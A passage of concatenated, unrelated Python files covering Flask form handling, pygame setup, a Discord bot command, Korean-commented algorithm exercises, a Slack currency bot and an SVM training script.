            number_saved = database_helper.save_themen(themen, themen_name)
        return redirect(url_for('upload.index', items_saved=number_saved))
    else:
        abort(400)
    return redirect(url_for('upload.index', items_saved=False))

@bp.route('/themen_manually', methods=['POST'])
def themen_manually():
    """
    handles the manual creates of themen.
    Uses WTForms to look for valid forms.
    """

    themenform = themen_form.ThemenForm()
    if themenform.validate_on_submit():
        # form is filled out and valid
        # save data to database

        rtn = database_helper.save_themen(
            themenform.themen.data,
            themenform.themen_name.data)
        return redirect(url_for('upload.index', items_saved=rtn))

    # form is not filled, present form to user
    number_of_themen = request.form.get('number_themen', None)
    if number_of_themen != None and int(number_of_themen) > 0:
        for i in range(int(number_of_themen)):
            thema_form = themen_form.ThemaEntryForm()
            themenform.themen.append_entry(thema_form)
        return render_template('upload_themen.html', form=themenform)
    return redirect(url_for('upload.index'))

@bp.route('/teilnehmer_manually', methods=['POST'])
def teilnehmer_manually():
    """
    handles the manual creates of teilnehmer.
    Uses WTForms to look for valid forms.
    """

    teilnehmerform = teilnehmer_form.TeilnehmerForm()
    if teilnehmerform.validate_on_submit():
        # form is filled out and valid
        # save data to database

        number_saved, error = database_helper.save_teilnehmer(
            teilnehmerform.teilnehmer.data,
            teilnehmerform.teilnehmer_name.data)
        if error == None:
            return redirect(url_for('upload.index', items_saved=number_saved))
        else:
            return redirect(url_for('upload.index', error=error))

    # form is not filled, present form to user
    number_of_teilnehmer = request.form.get('number_teilnehmer', None)
    if number_of_teilnehmer != None and int(number_of_teilnehmer) > 0:
        for i in range(int(number_of_teilnehmer)):
            single_teilnehmer_form = teilnehmer_form.TeilnehmerEntryForm()
            teilnehmerform.teilnehmer.append_entry(single_teilnehmer_form)
        return render_template('upload_teilnehmer.html', form=teilnehmerform)
    return redirect(url_for('upload.index'))


from uplogic.nodes import ULActionNode
from uplogic.data import GlobalDB
from uplogic.utils import not_met

class ULStopAllSounds(ULActionNode):
    def __init__(self):
        ULActionNode.__init__(self)
        self.condition = None

    def evaluate(self):
        condition = self.get_input(self.condition)
        if not_met(condition):
            return
        aud_sys = GlobalDB.retrieve('.uplogic_audio').get('nl_audio_system')
        if not aud_sys:
            return
        self._set_ready()
        aud_sys.device.stopAll()
        self._set_value(True)


#금지된 단어를 제외한 가장 흔하게 등장하는 단어를 출력하라
#paragraph = "Bob hit a ball, the hit BALL flew far after it was hit."
#banned = ["hit"]
#출력
# "ball"
import collections
import re

def mostCommonWord(paragraph: str, banned):
    words = [word for word in re.sub(r'[^\w]', ' ', paragraph).lower().split() if word not in banned]
    print(words)

    counts = collections.Counter(words)
    print(counts)
    return counts.most_common(1)[0][0]

print(mostCommonWord("Bob hit a ball, the hit BALL flew far after it was hit.", ["hit"]))


"""
This module initializes the display and creates dictionaries of resources.
"""

import os
import pygame as pg

from data.core import tools

CAPTION = "Python Arcade Collab"
TITLE_TRACK = "Nils_505_Feske_-_03_-_Balibulu"
START_SIZE = (800, 600)
RENDER_SIZE = (928, 696)
RESOLUTIONS = [(600,400), (800, 600), (928, 696), (1280, 960), (1400, 1050)]
CARD_SIZE = (125, 181)
CHIP_SIZE = (32, 19)
WIN_POS = (0, 0)
MONEY = 1000
ARGS = tools.get_cli_args(CAPTION, WIN_POS, START_SIZE, MONEY)
# Adjust settings based on args
START_SIZE = int(ARGS['size'][0]), int(ARGS['size'][1])
DEBUG = bool(ARGS['debug'])

BACKGROUND_BASE = (5, 5, 15) # Pure Black is too severe.
LOW_LIGHT_GREEN = (0, 166, 8)
HIGH_LIGHT_GREEN = (0, 232, 37)

#Pre-initialize the mixer for less delay before a sound plays
pg.mixer.pre_init(44100, -16, 1, 512)

#Initialization
pg.init()
if ARGS['center']:
    os.environ['SDL_VIDEO_CENTERED'] = "True"
else:
    os.environ['SDL_VIDEO_WINDOW_POS'] = '{},{}'.format(*ARGS['winpos'])
pg.display.set_caption(CAPTION)
if ARGS['fullscreen']:
    pg.display.set_mode(START_SIZE, pg.FULLSCREEN)
else:
    pg.display.set_mode(START_SIZE, pg.RESIZABLE)
    pg.event.clear(pg.VIDEORESIZE)

# Resource loading (Fonts and music just contain path names).
FONTS = tools.load_all_fonts(os.path.join("resources", "fonts"))
MUSIC = tools.load_all_music(os.path.join("resources", "music"))
SFX   = tools.load_all_sfx(os.path.join("resources", "sound"))
GFX   = tools.load_all_gfx(os.path.join("resources", "graphics"))

# It's time to start the music, it's time to light the lights.
pg.mixer.music.load(MUSIC[TITLE_TRACK])
pg.mixer.music.set_volume(.2)
if not ARGS["music_off"]:
    pg.mixer.music.play(-1)


from collections import deque

for _ in range(int(input())):

    input()
    B, five = deque(), 0
    ans = []
    for _ in range(int(input())):
        if B and five:
            B.popleft()
            five -= 1

        name, money = input().split()
        money = int(money)

        if money == 15:
            five += 1
        elif five:
            five -= 1
        else:
            B.append(name)

        if len(B) > len(ans):
            ans = list(B)

    if ans:
        print(*ans)
    else:
        print('Line B stayed empty.')


from commands import arguments
import discord
import bot
from commands import fibcontroller

hasJoined = discord.Embed(title="Join successful", description="You have joined the game of fib, and your cards will be displayed here.", color=0x00ff00)
notRunningGame = discord.Embed(title="That's not a running game.", description="", color=0x00ff00)
notenoughArgs = discord.Embed(title="Not enough arguments", description = '', color = 0x00ff00)

if len(arguments.args) == 2:
  if arguments.args[0] == "fib":
    if int(arguments.args[1]) in fibcontroller.runningGamesNumber:
        if  fibcontroller.runningGamesClasses[fibcontroller.runningGamesNumber.index(int(arguments.args[1]))].joinable == True:
          if arguments.currentmessage.author in fibcontroller.runningGamesClasses[fibcontroller.runningGamesNumber.index(int(arguments.args[1]))].players:
            arguments.messageReturn = "%s, you are already in fib lobby %s" % (arguments.currentmessage.author, arguments.args[1])
          else:
            fibcontroller.runningGamesClasses[fibcontroller.runningGamesNumber.index(int(arguments.args[1]))].add_player(arguments.currentmessage.author)
            arguments.messageReturn = ['mul', 2,["embed", arguments.currentmessage.author, hasJoined],['ms', fibcontroller.runningGamesClasses[int(arguments.args[1]) - 1].channel, "%s has joined fib lobby %s" % (arguments.currentmessage.author, arguments.args[1])]]
        else:
          arguments.currentmessage = "That game has already started"
    else:
      arguments.messageReturn = ['embed', arguments.currentmessage.channel, notRunningGame]

else:
  arguments.messageReturn = ['embed', arguments.currentmessage.channel, notenoughArgs]


import turtle

class Disc(turtle.Turtle):
    def __init__(self, n):
        turtle.Turtle.__init__(self, shape="square", visible=False)
        self.penup()
        self.sety(100)
        self.shapesize(1.5, n*1.5, 2)
        self.fillcolor(n/6., 0, 1-n/6.)
        self.showturtle()

class Tower(list):
    def __init__(self, x):
        self.x = x
        t = turtle.Turtle()
        t.hideturtle()
        t.penup()
        t.shape('square')
        t.setpos(self.x, -60)
        t.shapesize(10, 1, 2)
        t.fillcolor('blue')
        t.showturtle()
        self.t = t

    def push(self, d):
        d.setx(self.x)
        d.sety(-150+34*len(self))
        self.append(d)

    def pop(self):
        d = list.pop(self)
        d.sety(150)
        return d

def hanoi(n, from_, to_, with_):
    if n > 0:
        hanoi(n - 1, from_, with_, to_)
        to_.push( from_.pop())
        hanoi(n-1,with_, to_, from_)

s = turtle.Screen()
n_disc = 6
t1 = Tower(-250)
t2 = Tower(0)
t3 = Tower(250)

for i in range(6,0,-1):
    t1.push(Disc(i))

hanoi(n_disc, t1, t3, t2)


# 힌트 델타
# 힌트 오른쪽으로 먼저 갈건데 위치가 r:0 c:0에서 c에 1을 계속 더할텐데
# c의 범위를 벗어나면 방향을 바꾸면 됨(오른쪽에서 아래로)
# r에 1을 더하고, c는 그대로
# 또 아래끝이면

# 모듈러 연산을 이용해서  상하좌우 움직이기
# dr dc
# 0 1   0
# 1 0   1
# 0 -1  2
# -1 0  3

# cnt =4 cnt%4

# [문제]
# 달팽이는 1부터 N*N까지의 숫자가 시계방향으로 이루어져 있다.

# 다음과 같이 정수 N을 입력 받아 N크기의 달팽이를 출력하시오.

# [예제]

# N이 3일 경우,
# N이 4일 경우,

# [제약사항]
# 달팽이의 크기 N은 1 이상 10 이하의 정수이다. (1 ≤ N ≤ 10)

# [입력]
# 가장 첫 줄에는 테스트 케이스의 개수 T가 주어지고, 그 아래로 각 테스트 케이스가 주어진다.
# 각 테스트 케이스에는 N이 주어진다.

# [출력]
# 각 줄은 '#t'로 시작하고, 다음 줄부터 빈칸을 사이에 두고 달팽이 숫자를 출력한다.
# (t는 테스트 케이스의 번호를 의미하며 1부터 시작한다.)

#[문제풀이]
# 0. 오른쪽 갔다가 부딪히면 아래로 부딪히면 왼쪽으로 부딪히면 위로 부딪히면 오른쪽으로...
# 0-1. 시계방향 나선형으로 돌아가도록 하는 구조이다.
# 0-2. 그 돌아가는 순서대로 1번부터 N번까지 출력하는 구조이다.
# 1. N by N 개의 행렬 구조이다.
# 1-1. [0]*n개의 n개를 먼저 만들어 둔다.
# 1-2. 그리고 각 위치에 해당하는 곳을 하나씩 1,2,3,.... N-1, N으로 바꾸도록 해보자.
# 2. 가로로 갈때는 리스트[row][0] 리스트[row][1] 리스트[row][2] 가 움직이도록하고
# 2-1. 세로로 갈때는 리스트[0][column] 리스트[0][column] 리스트[0][column] 가 움직이도록하자.
# 3. 방향을 바꾸는 것은 반복문을 통해 기존에 0이 있었으므로 가려는 곳이 A 라면 0 < A라면 방향을 틀도록 하자.
# 3-1. 방향은 우하좌상으로 움직이므로 값을 미리 주고 %를 이용해 % = 0,% = 1,% = 2,% = 3,일때 각각 우하좌상이 되도록 해보는 것도 되겠다.

T = int(input())
for testcase in range(1,T+1):
    N = int(input())
    snail_matrix = [[0]*N for _ in range(N)]
    # 기본 매트릭스 구현 [[0,0,0],[0,0,0],[0,0,0]]과 같은 것

    #움직임은 우 하 좌 상
    dr = [0,1,0,-1]                                     # 행의 우 하 좌 상
    dc = [1,0,-1,0]                                     # 열의 우 하 좌 상
    dplay = 0                                           # 달팽이의 방향 움직임에 이용할 변수
    dmoveindex = dplay % 4                              # dplay 값이 변함에 따라 방향 전환 실시 하도록 하는 변수
    now_row = 0                                         # 현재 행의 좌표
    now_column = 0                                      # 현재 열의 좌표

    # 이하 달팽이 움직임 실시
    num = 1                                             # 최초 1부터 시작하므로.
    while num < (N**2)+1:                               # N^2 행이므로 while 반복문을 달팽이가 지나가면서 남길 숫자가 1~N^2까지 남기도록 함
        snail_matrix[now_row][now_column] = num         # 각 행의 열이 바뀌면서 해당 부분에 num이 들어가도록 하는 것

        # 만약 가려는 곳에 값이 0 이상이거나, 벽을 마주한다면(각 인덱스 값이 범위를 벗어나면) 방향을 전환해라.
        if (
            (now_row + dr[dmoveindex]) > (N-1) or                                     # 행이 현재위치에서 다음 위치로 넘어갈 때 N-1보다 크면(행을 넘어가면)
            (now_row + dr[dmoveindex]) < 0 or                                         # 행이 현재위치에서 다음 위치로 넘어갈 때 0보다 작으면
            (now_column + dc[dmoveindex]) > (N-1) or                                  # 열이 현재위치에서 다음 위치로 넘어갈 때 N-1보다 크면(열을 넘어가면)
            (now_column + dc[dmoveindex]) < 0 or                                      # 열이 현재위치에서 다음 위치로 넘어갈 때 0보다 작으면
            snail_matrix[now_row + dr[dmoveindex]][now_column + dc[dmoveindex]] > 0
):
            dplay += 1                                  # 달팽이의 방향 움직임에 이용할 변수
            dmoveindex = dplay % 4                      # dplay 값이 변함에 따라 방향 전환 실시 하도록 하는 변수

        now_row = now_row + dr[dmoveindex]              # 한 번 움직이고 다시 움직여야 하니까.(행 위치 변경)
        now_column = now_column + dc[dmoveindex]        # 한 번 움직이고 다시 움직여야 하니까.(열 위치 변경)
        num += 1                                        # 들어갈 숫자이자 while을 멈출 num을 반복문 돌때마다 1씩 증가시키기

    print(f'#{testcase}')                               # 테스트 케이스 먼저 출력
    for snail_matrix_row in snail_matrix:               # 이제 달팽이가 남기는 매트릭스를 출력해야하는데 매트릭스안 각 행(리스트) 별로 출력
        print(' '.join(map(str, snail_matrix_row)))


import sys
input = sys.stdin.readline
ways = [(-1,0),(0,-1),(1,0),(0,1)]
Q = int(input())
commands = list(map(int, input().split()))
n, m, p = commands[1],commands[2], commands[3]
rabbit = {}
rabbit_score = {}
for i in range(0,len(commands[4:]),2):
    # pid, distance, x, y, count
    rabbit[commands[4+i]] = [commands[4+i],commands[5+i], 0,0, 0]
    rabbit_score[commands[4+i]] = 0
queries = []
for _ in range(Q-1):
    queries.append(list(map(int, input().split())))
for commands in queries:
    if commands[0] == 400:
        break
    if commands[0] == 200:
        for r in rabbit:
            rabbit[r][4] = 0
        for _ in range(commands[1]):
            #print(rabbit_score)
            rabbit = dict(sorted(rabbit.items(), key= lambda x: (x[1][4], x[1][2]+ x[1][3], x[1][2], x[1][3], x[0])))
            rabbit[list(rabbit.keys())[0]][4] += 1
            x, y= rabbit[list(rabbit.keys())[0]][2], rabbit[list(rabbit.keys())[0]][3]
            choices = []
            #print(f'START {x} {y}')
            for i in range(4):
                dx = (x+ rabbit[list(rabbit.keys())[0]][1] * ways[i][0])%(2*(n-1))
                dy = (y+ rabbit[list(rabbit.keys())[0]][1] * ways[i][1])%(2*(m-1))
                if 0<= dx < n and 0 <=  dy < m:
                    choices.append((dx+dy, dx,dy))
                # 위로 이동인 경우
                elif i == 0:
                    dx = n - dx %(n-1) - 1
                    choices.append((dx+dy, dx, dy))
                # 좌로 이동한 경우
                elif i == 1:
                    dy = m - dy %(m-1) - 1
                    choices.append((dx+dy, dx, dy))
                # 우로 이동한 경우
                elif i == 2:
                    dx = n - (dx - (n-1-x)) - 1
                    choices.append((dx+dy, dx, dy))
                # 아래로 이동한 경우
                else:
                    dy = m - (dy - (m-1 -y)) - 1
                    choices.append((dx+dy, dx, dy))
            #print(choices)
            #print('='*20)
            choices.sort(key = lambda x: (-x[0], -x[1], -x[2]))
            rabbit[list(rabbit.keys())[0]][2], rabbit[list(rabbit.keys())[0]][3] = choices[0][1], choices[0][2]
            for r in rabbit_score:
                if r != rabbit[list(rabbit.keys())[0]][0]:
                    rabbit_score[r] += choices[0][0] + 2
        rabbit = dict(sorted(rabbit.items(), key= lambda x: (-(x[1][2]+ x[1][3] ), -x[1][2], -x[1][3], -x[0])))
        for r in rabbit:
            if rabbit[r][4] != 0:
                rabbit_score[r] += commands[2]
                break

    elif commands[0] == 300:
        rabbit[commands[1]][1] = rabbit[commands[1]][1] * commands[2]

rabbit_score = dict(sorted(rabbit_score.items(), key= lambda x: -x[1]))
print(rabbit_score[list(rabbit_score.keys())[0]])

###################################### 빠른 코드 ######################################
import sys
input = sys.stdin.readline

def jump(location, speed, boundary):
    return boundary - abs(boundary - (location + speed) % (boundary * 2))

def left_jump(row, col, speed):
    col = jump(col_boundary * 2 - col, speed, col_boundary)
    return row, col

def right_jump(row, col, speed):
    col = jump(col, speed, col_boundary)
    return row, col

def up_jump(row, col, speed):
    row = jump(row_boundary * 2 - row, speed, row_boundary)
    return row, col

def down_jump(row, col, speed):
    row = jump(row, speed, row_boundary)
    return row, col

def contest(params):
    global bit
    K, S = map(int, params)

    # 뛰지 않은 모든 토끼에게 점수 부여 -> 뛴 토끼에게 - 점수를 부여하고, 마지막에 모두에게 누적 점수 부여
    accum_score = 0

    # 승자는 이번 라운드에 뛴 적 있는 토끼 중에서만 고른다 -> 뛴 토끼 set으로 관리
    jumped_rabbit = set()

    for _ in range(K):

        # 비었다 -> 모든 토끼가 한번씩 뛰었다 -> 다른 큐로 넘겨줄 차례
        if not queues[bit]:
            bit ^= 1
            queues[bit].sort(key = rabbit_comparator, reverse= True)

        rabbit_id = queues[bit].pop()
        row, col, speed = row_dict[rabbit_id], col_dict[rabbit_id], speed_dict[rabbit_id]
        # left_jump, right_jump 등을 통해 나온 좌표를 가지고 jump_comparator로 비교해 최대 점수를 가지는 좌표 도출
        nrow, ncol = max([do_jump(row, col, speed) for do_jump in jump_directions], key = jump_comparator)

        # 좌표 업데이트
        row_dict[rabbit_id] = nrow
        col_dict[rabbit_id] = ncol

        # 점수 업데이트 (+2 는 행렬 번호가 0이 아닌 1부터 시작하기 때문)
        accum_score += nrow + ncol + 2
        score_dict[rabbit_id] -= nrow + ncol + 2

        # 큐에 추가
        queues[bit^1].append(rabbit_id)

        jumped_rabbit.add(rabbit_id)

    for rabbit_id in score_dict.keys():
        score_dict[rabbit_id] += accum_score

    winner = max(jumped_rabbit, key = rabbit_comparator)

    score_dict[winner] += S

def accelerate(params):
    rabbit_id, number = map(int, params)
    speed_dict[rabbit_id] *= int(number)

Q = int(input().strip())
_, N, M, P, *rabbits = input().split()
col_boundary = int(M) - 1
row_boundary = int(N) - 1
row_dict = dict()
col_dict = dict()
speed_dict = dict()
score_dict = dict()
rabbit_comparator = lambda x: (row_dict[x] + col_dict[x], row_dict[x], col_dict[x], x)

# 큐 = [[짝수번 뛴 애들], [홀수번 뛴 애들]]
queues = [[], []]
# 모든 토끼가 다 뛰면 비트를 바꿔줌 -> queues[bit] 이 비면 bit ^ 1 하면 됨.
bit = 0

for index in range(0, len(rabbits), 2):
    rabbit_id, speed = map(int, rabbits[index:index+2])
    row_dict[rabbit_id] = col_dict[rabbit_id] = 0
    speed_dict[rabbit_id] = speed
    score_dict[rabbit_id] = 0
    queues[0].append(rabbit_id)

queues[0].sort(key = rabbit_comparator, reverse = True)

jump_directions = (left_jump, right_jump, up_jump, down_jump)
jump_comparator = lambda x: (x[0] + x[1], x[0], x[1]) # 행+열 번호, 행 번호, 열 번호 순서

query_dict = {
    "200": contest,
    "300": accelerate
}

for _ in range(Q-2):
    query, *params = input().split()
    query_dict[query](params)

print(max(score_dict.values()))


def bubble_sort(array: list) -> list:
    n = len(array)
    swapped = None

    for i in range(n - 1):
        for j in range(n - i - 1):
            if array[j] > array[j + 1]:
                array[j], array[j + 1] = array[j + 1], array[j]
                swapped = True

    if not swapped:
        return array
    return array

def anagram(str1: str, str2: str) -> bool:
    str2_int = [ord(char) for char in str2]

    # sort ascii letters and convert them back to char
    str2_int = bubble_sort(str2_int)
    str2 = "".join([chr(asc) for asc in str2_int])

    if str1 == str2:
        return True
    return False

print(anagram("abh", "ba"))


import os.path
import pandas as pd
import os

if __name__ == "__main__":
    directory = '/Users/white/Desktop/valak/Valak/Main_ValaK/DQN_project/data'
    file_names = os.listdir(directory)
    for filename in file_names:
        path = os.path.join(directory, filename)
        df = pd.read_csv(path)
        df = df.drop(['term'], axis=1)  # 열 제거
        df['time'] = pd.to_datetime(df['time'])
        grouped = df.groupby(df['time'].dt.date)
        new_path = os.path.join('/Users/white/Desktop/valak/Valak/Main_ValaK/DQN_project/filtered_data', filename)
        df.to_csv(new_path, index=False, mode='w')


from raw_data_process.Stock import Stock
from strategy.Index import Index
from raw_data_process.Sise import Sise

class Invest:

    average_per_file_path = "data/business_category_average_per.csv"

    def main(self):

        index = Index()
        stock = Stock()
        sise = Sise()

        average_per_business_category_dict = self.read_average_per_file()
        stock_item_list = stock.get_all_stock_item_list()

        print("종목명/PER/업종PER/상승률/상승하락/2019시초가/현재가/업종코드/업종설명")

        for stock_item in stock_item_list:
            stock_code = stock_item[0]
            per_pair = index.get_stock_item_per(stock_code)
            stock_item_per = per_pair[0].replace(",", "")
            business_average_per = per_pair[1].replace(",", "")

            if stock_item_per == '-' or business_average_per == '-':
                continue

            if float(stock_item_per) > float(business_average_per):
                continue

            increase_rate = sise.get_increase_rate_by_code(stock_code, None)

            if increase_rate is None:
                continue

            print(stock_item[1] + "/" + stock_item_per + "/" + business_average_per + "/" + str(increase_rate[0]) + "/"
                  + increase_rate[1] + "/" + str(increase_rate[2]) + "/" + str(increase_rate[3]) + "/"
                  + stock_item[2] + "/" + average_per_business_category_dict[stock_item[2]][1])

    def read_average_per_file(self):

        average_per_business_category_dict = {}

        with open(self.average_per_file_path, 'rt', encoding='utf-8)') as f:
            for line in f.readlines():
                data = line.split("/")
                business_code = data[0]
                business_average_per = data[1]
                description = data[2].replace('\n', '')

                average_per_business_category_dict[business_code] = (business_average_per, description)

        return average_per_business_category_dict

if __name__ == '__main__':
    Invest().main()


import argparse
import random
import string

from hamcrest import *

from cyberbrain import Symbol

def test_telephone(trace, check_golden_file):
    @trace
    def test_telephone_inner():
        args = argparse.Namespace(
            mutations=0.6, seed=2, text="The quick brown fox jumps over the lazy dog."
        )
        text = args.text
        random.seed(args.seed)
        alpha = "".join(sorted(string.ascii_letters + string.punctuation))
        len_text = len(text)
        num_mutations = round(args.mutations * len_text)
        new_text = text

        for i in random.sample(range(len_text), num_mutations):
            new_char = random.choice(alpha.replace(new_text[i], ""))
            new_text = new_text[:i] + new_char + new_text[i + 1 :]

        print(f'You said: "{text}"\nI heard : "{new_text}"')

    test_telephone_inner()

    # Events should exclude modules.
    assert_that(trace.events, not_(has_item(has_property("target", Symbol("random")))))
    assert_that(
        trace.events,
        has_item(
            has_properties(
                {
                    "target": Symbol("i"),
                    "sources": {Symbol("len_text"), Symbol("num_mutations")},
                }
            )
        ),
    )


import time

######## Декораторы и фикстуры

#### Декораторы

def retry(func):
    def wrapper():
        try:
            func()
        except:
            print('Retry...')
            time.sleep(1)
            func()
    return wrapper()

@retry
def might_file():
    print('might_file')
    raise Exception

might_file()

#### Фикстуры

# См. test_01.py


from __future__ import print_function
import re
import json
import requests

def sendResponse(event,result=0):
    url = "https://slack.com/api/chat.postMessage"
    if result:
        text = event["amount"] + " " + event["source"] + " is " + str(result) + " " + event["target"]
    else:
        text = event["reply"]
    payload = {"token": event["bot"]["bot_access_token"], "channel": event["event"]["channel"], "text": text}
    response = requests.post(url, data=payload)
    response_json = response.json()
    print(payload)
    event.update(response_json)
    return event
def callFixer(event):
    url = "http://api.fixer.io/latest"
    payload = {"base": event["source"], "symbols": event["target"]}
    response = requests.get(url, params=payload)
    response_json = response.json()
    event.update(response_json)
    result = response_json["rates"][event["target"]] * float(event["amount"])
    print(result)
    sendResponse(event,result)
def doCommand(event):
    command = re.split("> ",event["event"]["text"],maxsplit=1)[1]
    m = re.match("[a-zA-Z\s]*(\d+\.?\d*).*([a-zA-Z]{3}).*([a-zA-Z]{3})",command)
    if bool(m):
        commandParams = {"amount": m.group(1), "source": m.group(2).upper(), "target": m.group(3).upper()}
        print(commandParams)
        event.update(commandParams)
        print(event)
        callFixer(event)
        return event
    reply = "Not my Job Bro! Please enter something like 'Convert 1 AUD to USD'"
    event.update({"reply": reply})
    print(event)
    sendResponse(event)
    return event
def log(event):
    print(json.dumps(event))
def lambda_handler(event,context):
    log(event)
    doCommand(event)


# from comet_ml import Experiment
import os
import pickle
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn import metrics
from sklearn.model_selection import GridSearchCV, KFold, RandomizedSearchCV
from scipy import stats
from sklearn import svm
from comet import push_best_model
from plot_metrics import *

def getData(dataset="train"):
  data = pd.read_csv('../../data/' + dataset + '.csv')
  data = data.dropna()
  x_train = data.iloc[:,0:20]
  x_train = x_train.drop(["gameId"], axis=1)
  cols = ["shotType", "lastEventType"]
  x_train[cols] = x_train[cols].astype('category')
  x_train["shotType"] = x_train['shotType'].cat.rename_categories({k: v for v, k in enumerate(np.array(pd.Categorical(x_train["shotType"]).categories))})
  x_train["lastEventType"] = x_train['lastEventType'].cat.rename_categories({k: v for v, k in enumerate(np.array(pd.Categorical(x_train["lastEventType"]).categories))})
  x_train[cols] = x_train[cols].astype('int')
  y_train = data.iloc[:,-1:].to_numpy().flatten()
  return (x_train, y_train)

# from best_svm import SVM, getData
# x_train, y_train = getData()
# ludo = SVM(x_train, y_train)

def SVM(X, y, experiment_name="svm"):
    #Train and valid split
    X_train,X_val,y_train,y_val = train_test_split(X, y, test_size=0.2, random_state=42)

    # SVM Classifier
    # model = svm.SVC()
    gs = svm.SVC(probability=True)

    # params = {
    #     'C': stats.expon(scale=100),
    #     'gamma': stats.expon(scale=.1),
    #     'kernel': ['rbf'],
    #     'class_weight':['balanced']
    # }

    # gs = RandomizedSearchCV(
    #                         estimator = model,
    #                         param_distributions = params,
    #                         scoring = 'recall',
    #                         refit = True,
    #                         cv = 3,
    #                         verbose = 10,
    #                         n_iter = 25,
    #                         # n_iter = 2,
    #                         n_jobs = -1)

    gs.fit(X_train, y_train)

    # save the model to disk
    filename = '../../model/' + experiment_name + '_best_prob.pkl'
    pickle.dump(gs, open(filename, 'wb'))

    # print('Best score:', gs.best_score_)
    # print('Best score:', gs.best_params_)

    # Predict on validation set
    y_pred = gs.predict(X_val)

    #Probability estimates
    # pred_probs = gs.predict_proba(X_val)

    #Model Evaultion Metrics
    # gs_best_score = gs.best_score_sad
    accuracy = metrics.accuracy_score(y_val, y_pred)
    f1_score = metrics.f1_score(y_val, y_pred)
    precision = metrics.precision_score(y_val, y_pred)
    recall = metrics.recall_score(y_val, y_pred)
    roc_auc = metrics.roc_auc_score(y_val, y_pred)
    cf_matrix = metrics.confusion_matrix(y_val,y_pred)
    metrics_dict = {
                    # 'Grid_search_BestScore' :  gs_best_score,
                    'accuracy': accuracy,
                    "f1_score": f1_score,
                    "precision": precision,
                    "recall": recall,
                    "roc_auc": roc_auc,
                    }
    print(metrics_dict)

    # experiment.log_parameters(params)
    # experiment.log_metrics(metrics_dict)
    # experiment.log_confusion_matrix(matrix=cf_matrix)
    # experiment.log_model(experiment_name, filename)

    # return pred_probs, accuracy, f1_score, precision, recall, roc_auc, cf_matrix, gs_best_score
    return accuracy, f1_score, precision, recall, roc_auc, cf_matrix

if __name__ == '__main__':
  x_train, y_train = getData()
  X_train,X_val,y_train,y_val = train_test_split(x_train, y_train, test_size=0.2, random_state=42)

  # svc = SVM(x_train, y_train)
  model = pickle.load(open('../../model/svm_best_prob.pkl', 'rb'))
  print("Pushing model...")
  res = push_best_model(X_val, y_val, model, "best_svm_prob", "../../model/svm_best_prob.pkl", ["svm", "best_model"])